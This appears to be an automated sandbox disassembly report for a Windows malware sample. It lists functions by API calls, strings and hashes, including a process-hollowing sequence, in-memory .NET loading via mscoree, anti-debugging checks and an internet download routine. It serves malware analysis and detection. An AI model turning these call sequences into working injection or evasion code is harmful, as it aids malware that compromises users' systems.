GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000,00000000), ref: 0040240C
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,00000000,00000000), ref: 00402465
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004,?,00000000,00000000), ref: 0040247E
GetThreadContext.KERNEL32(?,00000000,?,00000000,00000000), ref: 00402493
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,00000000,00000000), ref: 004024B6
GetModuleHandleA.KERNEL32(ntdll.dll,NtUnmapViewOfSection,?,00000000,00000000), ref: 004024CE
GetProcAddress.KERNEL32(00000000), ref: 004024D5
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040,?,00000000,00000000), ref: 004024F4
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 0040250F
WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,?,00000000,?,00000000,00000000), ref: 0040254C
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,00000000,?,00000000,00000000), ref: 0040257C
SetThreadContext.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 00402592
ResumeThread.KERNEL32(?,?,?,00000000,?,00000000,00000000), ref: 0040259B
VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,?,00000000,00000000), ref: 004025A9
VirtualFree.KERNEL32(?,00000000,00008000,?,00000000,00000000), ref: 004025C0

Strings

NtUnmapViewOfSection, xrefs: 004024C4
ntdll.dll, xrefs: 004024C9

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: Process$MemoryVirtual$ThreadWrite$AllocContextFreeModule$AddressCreateFileHandleNameProcReadResume
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 4033543172-1050664331
Opcode ID: dce348d52fc12c30c3f40679117718e82f8cd84188ec2c5c3b09c48dccf8250f
Instruction ID: 0cf2af8ff4cb9ebe9ad3a028e61cb307d682e6666ed8a870c62b8345505061bc
Opcode Fuzzy Hash: dce348d52fc12c30c3f40679117718e82f8cd84188ec2c5c3b09c48dccf8250f
Instruction Fuzzy Hash: 90516B71B40605BBEB218B94DD49FAEBBB8FF08705F504029FB04E62D0DBB4A955CB58

Function 004200E8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1354COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00420263

Strings

1#QNAN, xrefs: 00421401
1#IND, xrefs: 004213F3
1#INF, xrefs: 0042141E
1#SNAN, xrefs: 004213FA

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 7e192a2d6edb674bac6ae2520044e3f9176c082f7df3f3cc1a8e65cac12922a5
Instruction ID: f11b0946b219d80c9c4994a3db4a249dc7606d6354bf08b79d7004ad96fd2d67
Opcode Fuzzy Hash: 7e192a2d6edb674bac6ae2520044e3f9176c082f7df3f3cc1a8e65cac12922a5
Instruction Fuzzy Hash: 37C22771E046288FDB24CE28ED407EAB7F5EB98304F5441EBD84DA7241E779AE818F45

Function 0040700B Relevance: 7.6, APIs: 5, Instructions: 140networkfileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00407027
InternetReadFile.WININET(?,?,?,?), ref: 00407038
CloseHandle.KERNEL32(00000000), ref: 00407043
InternetCloseHandle.WININET(?), ref: 00407052
InternetCloseHandle.WININET(00000000), ref: 00407055

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: CloseHandleInternet$File$ReadWrite
String ID:
API String ID: 567989605-0
Opcode ID: a5ff44ab7690251a4212ff983c3b9e62a1d5190aa102251ff27f215237c26012
Instruction ID: 0befd039b9f6f23f188f44fdc35fa4c94dfec532a1c9f815e2cf11e5f32d5d3d
Opcode Fuzzy Hash: a5ff44ab7690251a4212ff983c3b9e62a1d5190aa102251ff27f215237c26012
Instruction Fuzzy Hash: 0841E3B2A00108ABEF14DF64CD85ADE7769EB44314F50422AF814E72D1D73DEAC5CB65

Function 004048B0 Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,?,00000000), ref: 00404906

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 0f025ffa198d0d7022a407a98512d5e112d5bbb831194b6e2c6a1f9a8583f53c
Instruction ID: 9845d94b91b6e2e22d79ee33288a69cd07ea54fe1f5ed6569b72d1a69a429842
Opcode Fuzzy Hash: 0f025ffa198d0d7022a407a98512d5e112d5bbb831194b6e2c6a1f9a8583f53c
Instruction Fuzzy Hash: 64312CB0D102189BDB24AB78DC4A7DEB774EF81314F90427AE904772C1EB784A858BDD

Function 004154F3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 004155EB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 004155F5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00415602

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 203ecd29b69171333ff07b260291656cb257e9580009599efc4fa298bffbf476
Instruction ID: c10a657a53a1c55608afa62ec5e352b41855ae06275bee5b422f8a94e28dd03b
Opcode Fuzzy Hash: 203ecd29b69171333ff07b260291656cb257e9580009599efc4fa298bffbf476
Instruction Fuzzy Hash: 2031D674911218DBCB21DF24D8897DDBBB4BF48310F5041EAE51CA72A1EB349BC58F58

Function 7FE422AA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(?,?,?,?,?), ref: 7FE422BE

Strings

", xrefs: 7FE422C8

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: InformationProcessQuery
String ID: "
API String ID: 1778838933-123907689
Opcode ID: 5181fdecd4193bb3fa01cbdba47f40383d5f5fd10bcedd4e98d75df3e82d9c53
Instruction ID: 2c8ef7b1c8eca7f7deb358364d2715b228b4d49e9b3a42585da813b623d10d52
Opcode Fuzzy Hash: 5181fdecd4193bb3fa01cbdba47f40383d5f5fd10bcedd4e98d75df3e82d9c53
Instruction Fuzzy Hash: 53E0EC32010319ABDF124E81D8008DA7F69EF09261B049019FE0566020D37195B0EF94

Function 0041FC50 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23d482466ea73e09b40eb697065454e3dc54c328f3627eb8fdfa93bff6c80085
Instruction ID: 19ad051aaa72e5f735da68453a41798ac7d9f01dc2464858c255c7c864b97af0
Opcode Fuzzy Hash: 23d482466ea73e09b40eb697065454e3dc54c328f3627eb8fdfa93bff6c80085
Instruction Fuzzy Hash: 98F16C71E002199FDF14CFA8D8806EEBBF1FF89314F25826AD819A7341D734A946CB94

Function 0041F3E4 Relevance: 3.1, APIs: 2, Instructions: 91timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041F3F4

Part of subcall function 00417051: HeapFree.KERNEL32(00000000,00000000,?,0041614E), ref: 00417067
Part of subcall function 00417051: GetLastError.KERNEL32(?,?,0041614E), ref: 00417079

GetTimeZoneInformation.KERNEL32 ref: 0041F406

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: ErrorFreeHeapInformationLastTimeZone_free
String ID:
API String ID: 3107070095-0
Opcode ID: 52d799d72399e5ba68a91474c9e94019fbd1233e3e2634ebc9904a5fba90b6ed
Instruction ID: ea7a1ecbc31cc5376e43bcadb82d0aed8138a0eb16aef23da463dff7e28be481
Opcode Fuzzy Hash: 52d799d72399e5ba68a91474c9e94019fbd1233e3e2634ebc9904a5fba90b6ed
Instruction Fuzzy Hash: CB310471904201EFCB00DF69DD829AA7BB4BF19310714157FE011A73A1D3749D86DB58

Function 004242FD Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,004242F8,?,?,00000008,?,?,00423F90,00000000), ref: 0042452A

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 626d7bc85a923e7a248c1617647a2d264e93360ffb34c7221947944a9a40a401
Instruction ID: c93ffd11fc343f0719af2e7a338e13f5e0999d263cc02b2764082811fa3f5b4e
Opcode Fuzzy Hash: 626d7bc85a923e7a248c1617647a2d264e93360ffb34c7221947944a9a40a401
Instruction Fuzzy Hash: AAB16A31210618DFDB14CF28D486B657BA0FF84364F698659E9DACF3A1C339E992CB44

Function 00410C73 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00410C89

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 283bb2b6896100fd3a1834810aea6a6ee14fe2e7bfe170985276d8c517baffc9
Instruction ID: 07181a27f8cc3d66e9c763cee52dfa73a11162c65df484747116efb15693d575
Opcode Fuzzy Hash: 283bb2b6896100fd3a1834810aea6a6ee14fe2e7bfe170985276d8c517baffc9
Instruction Fuzzy Hash: 555171719012199FDB19CF99EA817EABBF0FB48314F14857AD409EB350D3B8D980CB68

Function 00410FB8 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00010FC4,00410ABD), ref: 00410FBD

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: a88279e4522e485ab282a0a5c8957451ebbb1a3de6d265956c8fa050cfe0807a
Instruction ID: 8f76220167ec17abf5339b834285133c125a210c270ad1c1e6088077211f2785
Opcode Fuzzy Hash: a88279e4522e485ab282a0a5c8957451ebbb1a3de6d265956c8fa050cfe0807a
Instruction Fuzzy Hash:

Function 00414597 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00414713

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: a79367af4f373e0a92b4b194a9628dae4a71434ef80c9604ceba69f1c4801f13
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 6F51497060064867DF388A6884957FFA79A9BC330CF18051FE582DB3C1D61DDECA865E

Function 7FE4208F Relevance: 1.3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

kernel32.dll, xrefs: 7FE420BD

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID:
String ID: kernel32.dll
API String ID: 0-1793498882
Opcode ID: 4feebe76e4882add21e639fbbcfa140da3d33747a649c974eb9a4e06c4b18b09
Instruction ID: 22572b66b0f59e9ccc71fa9dbd2098e078f8ceb7472a598ea91be516a38dcceb
Opcode Fuzzy Hash: 4feebe76e4882add21e639fbbcfa140da3d33747a649c974eb9a4e06c4b18b09
Instruction Fuzzy Hash: D2F03C72601704ABCB20CF89E980966F7F9FB08358B11466EE946E7600E771FD44CAA0

Function 00403360 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 591565d987f1e778879e702b80887747e2d6f785ace01a18102c9f5e0baa3118
Instruction ID: 7ab81aa9486b2000a2b0f43c2bb6e6a55a1dd180e2d60bd58bcda0ca25c5da21
Opcode Fuzzy Hash: 591565d987f1e778879e702b80887747e2d6f785ace01a18102c9f5e0baa3118
Instruction Fuzzy Hash: 412250B3F515144BDB0CCA5DDCA27EDB2E3AFD8314B0E903DA40AE3345EA79D9158688

Function 004230A7 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e041d0d75bd8484d5612abe03b931e0f373b2d9a38179b47e6c84416fcc083f
Instruction ID: 8f3a4aa7a2b2fef9cac13e98439c781c72b23cdf2e078c21a5a8800550fb86b5
Opcode Fuzzy Hash: 4e041d0d75bd8484d5612abe03b931e0f373b2d9a38179b47e6c84416fcc083f
Instruction Fuzzy Hash: 5821B373F204395B7B0CC47E8C562BDB6E1C68C601745823AE8A6EA2C1D96CD917E2E4

Function 00422F87 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a698f86bbd397036ddb9beaa940442a224b07e7db434529d0f147d4e5b4c222
Instruction ID: eb398c664e42cb3bd89a26cffe5c10163ea70f5f5d31fa8843e0afeb5f467b84
Opcode Fuzzy Hash: 9a698f86bbd397036ddb9beaa940442a224b07e7db434529d0f147d4e5b4c222
Instruction Fuzzy Hash: E811A723F30C356B675C816D8C1327AA1D6EBD824034F533AD826E73C4E894DE13D290

Function 004252B0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 6d6f27163d5a91045088470029a44917658adf3661b23843a50aa446b2092e7a
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 0D115B773009B283D604CA7DF4B45FBA395EBC53607AC53BBD4424B744E2BAE9419D08

Function 7FE4260F Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36f53da09a597ef46754e68027e02d588dc2b792ea0009f90e6be2a57e41e326
Instruction ID: 7dba653b3e80d9af872c281314c1e9a53d005ac14964c07f6537dc1932b0c6fc
Opcode Fuzzy Hash: 36f53da09a597ef46754e68027e02d588dc2b792ea0009f90e6be2a57e41e326
Instruction Fuzzy Hash: E4112B327501160F970CDA7C88A60B5B7D6D7CC254385957EEC4BCF282D471E913C6D0

Function 00580665 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1704912105.0000000000580000.00000040.00001000.00020000.00000000.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_580000_S7AGd447vH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 123c6e8ee6dcd482ce5f480a0368d6ebca22ddcfbc4a85e13857beb9e3b8362c
Instruction ID: b6ec0a18c76abe62825b7707b2276d01cdfebd3e797a8655b8fe7f0a7702bb1a
Opcode Fuzzy Hash: 123c6e8ee6dcd482ce5f480a0368d6ebca22ddcfbc4a85e13857beb9e3b8362c
Instruction Fuzzy Hash: F31138327501154F9B5CEA7D8892075BBD5A7CC350385863AEC47DF2C2E471D927C6C0

Function 004169A2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22c8ee549e0e701cc67c10f8b31497336b99bd38d043062465dd4583a8c5f113
Instruction ID: 4d5187461e70567e6b15c61b1bec3380518cd04694ed7892919f32605493efa9
Opcode Fuzzy Hash: 22c8ee549e0e701cc67c10f8b31497336b99bd38d043062465dd4583a8c5f113
Instruction Fuzzy Hash: 0BE08CB2921228EBCB14DB89C944D8AF3FCEB49B04B12049BB502E3200C274DE44C7D4

Function 00580046 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1704912105.0000000000580000.00000040.00001000.00020000.00000000.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_580000_S7AGd447vH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Function 7FE436D4 Relevance: 25.7, APIs: 17, Instructions: 233memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000000), ref: 7FE436E1

Part of subcall function 7FE43663: LoadLibraryW.KERNEL32(mscoree.dll,00000000,02263E58,00000000,00033400,?,7FE43722,?), ref: 7FE43671

SafeArrayCreate.OLEAUT32(00000011,00000001,?), ref: 7FE4377B
memcpy.NTDLL(?,00033400,02263E58), ref: 7FE437AB
SafeArrayGetLBound.OLEAUT32(7FE42E35,00000001,?), ref: 7FE4381A
SafeArrayGetUBound.OLEAUT32(7FE42E35,00000001,?), ref: 7FE43831
GetCommandLineW.KERNEL32(00033400), ref: 7FE43853
CommandLineToArgvW.SHELL32(00000000), ref: 7FE4385A
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 7FE4386D
SafeArrayCreateVector.OLEAUT32(00000008,00000000,00033400), ref: 7FE43881
SysAllocString.OLEAUT32(00000000), ref: 7FE43894
SafeArrayPutElement.OLEAUT32(?,02263E58,00000000), ref: 7FE438A2
SafeArrayCreateVector.OLEAUT32(00000008,00000000,00000001), ref: 7FE438BA
SysAllocString.OLEAUT32(7FE453F4), ref: 7FE438C4
SafeArrayPutElement.OLEAUT32(?,02263E58,00000000), ref: 7FE438D2
SafeArrayDestroy.OLEAUT32(?), ref: 7FE4390E
SafeArrayDestroy.OLEAUT32(00033400), ref: 7FE43913
SafeArrayDestroy.OLEAUT32(00000000), ref: 7FE4392B

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: ArraySafe$Create$DestroyVector$AllocBoundCommandElementLineString$ArgvInitializeLibraryLoadmemcpy
String ID:
API String ID: 1402434309-0
Opcode ID: 5e5e04b494e50c0cdfeba50543377363f6c7516b20a2b1ab4e64372355080cbf
Instruction ID: fc6f7cf24404cfcf3d7afd4173260bed971fdfda6a4a432beba6904d6f1273b5
Opcode Fuzzy Hash: 5e5e04b494e50c0cdfeba50543377363f6c7516b20a2b1ab4e64372355080cbf
Instruction Fuzzy Hash: 49916C75A00209EFDB00DFA5C884AEEBBB9FF48354F104068F90AEB260D731A956DF51

Function 0041D57B Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0041D5BF

Part of subcall function 0041D158: _free.LIBCMT ref: 0041D175
Part of subcall function 0041D158: _free.LIBCMT ref: 0041D187
Part of subcall function 0041D158: _free.LIBCMT ref: 0041D199
Part of subcall function 0041D158: _free.LIBCMT ref: 0041D1AB
Part of subcall function 0041D158: _free.LIBCMT ref: 0041D1BD
Part of subcall function 0041D158: _free.LIBCMT ref: 0041D1CF
Part of subcall function 0041D158: _free.LIBCMT ref: 0041D1E1
Part of subcall function 0041D158: _free.LIBCMT ref: 0041D1F3
Part of subcall function 0041D158: _free.LIBCMT ref: 0041D205
Part of subcall function 0041D158: _free.LIBCMT ref: 0041D217
Part of subcall function 0041D158: _free.LIBCMT ref: 0041D229
Part of subcall function 0041D158: _free.LIBCMT ref: 0041D23B
Part of subcall function 0041D158: _free.LIBCMT ref: 0041D24D

_free.LIBCMT ref: 0041D5B4

Part of subcall function 00417051: HeapFree.KERNEL32(00000000,00000000,?,0041614E), ref: 00417067
Part of subcall function 00417051: GetLastError.KERNEL32(?,?,0041614E), ref: 00417079

_free.LIBCMT ref: 0041D5D6
_free.LIBCMT ref: 0041D5EB
_free.LIBCMT ref: 0041D5F6
_free.LIBCMT ref: 0041D618
_free.LIBCMT ref: 0041D62B
_free.LIBCMT ref: 0041D639
_free.LIBCMT ref: 0041D644
_free.LIBCMT ref: 0041D67C
_free.LIBCMT ref: 0041D683
_free.LIBCMT ref: 0041D6A0
_free.LIBCMT ref: 0041D6B8

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
